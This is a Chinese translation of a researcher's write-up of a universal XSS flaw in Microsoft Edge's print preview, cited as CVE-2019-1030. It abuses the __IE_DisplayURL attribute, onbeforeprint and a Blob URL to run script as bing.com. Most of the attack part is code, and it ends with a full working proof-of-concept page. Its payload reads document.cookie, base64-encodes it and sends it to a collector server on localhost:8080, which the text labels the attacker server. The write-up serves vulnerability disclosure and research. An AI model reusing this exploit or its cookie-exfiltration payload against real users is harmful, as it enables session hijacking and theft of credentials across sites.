通用XSS(uXSS)是浏览器中一个令无数黑客垂涎的bug,UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。发现UXSS的历程非常有趣,通常UXSS与IFRAME元素有关,或者与URL有关。但我从未想过我会使用'print()'
函数发现uXSS bug。
让我们讨论一下Edge显示打印预览窗口时实际发生了什么
我一直认为它只是一个Canvas类型技术的屏幕截图,但实际上你打印的页面被复制到一个临时位置并重新渲染!
当我们在页面中执行'print()'
时,我们会在Process Monitor中看到以下文件系统活动:
因此,在Edge临时目录中创建了一个文件,该文件的内容是我们试图打印的原始页面的但经过稍微修改的版本。
打印前:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
打印后:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML><!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML>
从这个比较中我们可以注意到一些事情。
JavaScript已编码并渲染失败。
IFRAME现在指向同一目录中的另一个本地文件,其中包含原始bing.com引用的源代码。
HTML元素现在有一个特殊的属性_IE_DisplayURL
。
我做了一些关于[1]和[2]的测试,首先我试着看看编码后是否仍然可以得到有效的Javascript,我还希望我能执行Javascript。但这一切都是徒劳,<script>
元素中的任何Javascript,不管是有效还是无效,都不会被执行。
在[2]中,我能够使用CSS '@media print{}'
功能和 CSS selector magic 来提供操作系统用户名,以便从生成的IFRAME href值中获取操作系统用户名,然而这还远远不够。
[3]是事情变得有趣的地方,这个属性非常不寻常,到目前为止我从未见过它。所以我立马Google了一下:)发现了几篇关于这个属性的文章,一个日本人木川正道利用这个属性发现了几个很酷的bug。
在进行了一些阅读和摸索之后,我发现打印预览上下文通过这个属性来知晓文档的来源。这是很有研究意义的,因为Edge实际上通过“file:”URI来打开文件。但是,通过这个属性,你会发现所有来自该文档的请求(在打印预览中)将模拟与来自原始网站的请求完全相同的行为。
但是我们怎么能滥用这个属性呢?
正如我之前所说的,来自普通SCRIPT标签的任何Javascript都将被阻止或被忽略。但是其他载体呢?
我们在这里处理的是打印函数,所以我很自然地处理与打印相关的事件,得到‘onbeforeprint’,利用它让我有能力注入一个指向任何网站的iframe,而不需要Edge先把它转换成一个文件。因此,我就尝试注入一个指向Javascript URL的iframe,然后砰!在打印预览上下文中执行了该特定Javascript。
Javascript注入测试:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
打印预览转换后:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</SCRIPT>
</BODY></HTML>
结果截图:
现在,仅仅执行Javascript并不意味着我们已经完成了任务。由于_IE_DisplayURL
属性,因此任何请求或API都将被视为来自原始文档来源。
现在我们能够执行Javascript,我们需要以某种方式定义_IE_DisplayURL
来构建我们自己的‘打印预览文档’,然后我们可以模仿我们选择的任何网站,从而产生uXSS。
我发现使用Blob URL可以做到这一点。因此,我制作了自己的打印文档,带有自定义属性指向我的目标网站(本例中为‘bing.com’),它包含一个Javascript iframe,它会像‘bing.com’一样来执行。
我注入了以下Javascript:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
其中'top.document.getElementById('qd').value
是伪造的‘打印文档’
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
我所做的就是阅读“document.cookie”并将其发送到服务器。
总结一下漏洞利用过程:
使用“onbeforeprint”事件,我在打印之前插入一个指向我的Javascript有效负载的iframe。
调用window.print()来初始化。
Edge然后在渲染注入的Javascript时显示打印预览窗口。
注入的Javascript创建了一个Blob URL,其中包含我的自定义“bing.com”打印文档,并将顶部框架重定向到此URL。
打印预览上下文认为“我的Blob URL”的内容是合法的打印文档,并通过_IE_DisplayURL
属性将文档来源设置为“bing.com”。
伪造打印文档包含另一个Javascript iframe
,它只显示“bing.com”的“document.cookie”
uXSS bingo!
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>
https://i.imgur.com/TYAQHp3.mp4
参考
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030
原文:https://leucosite.com/Microsoft-Edge-uXSS/?q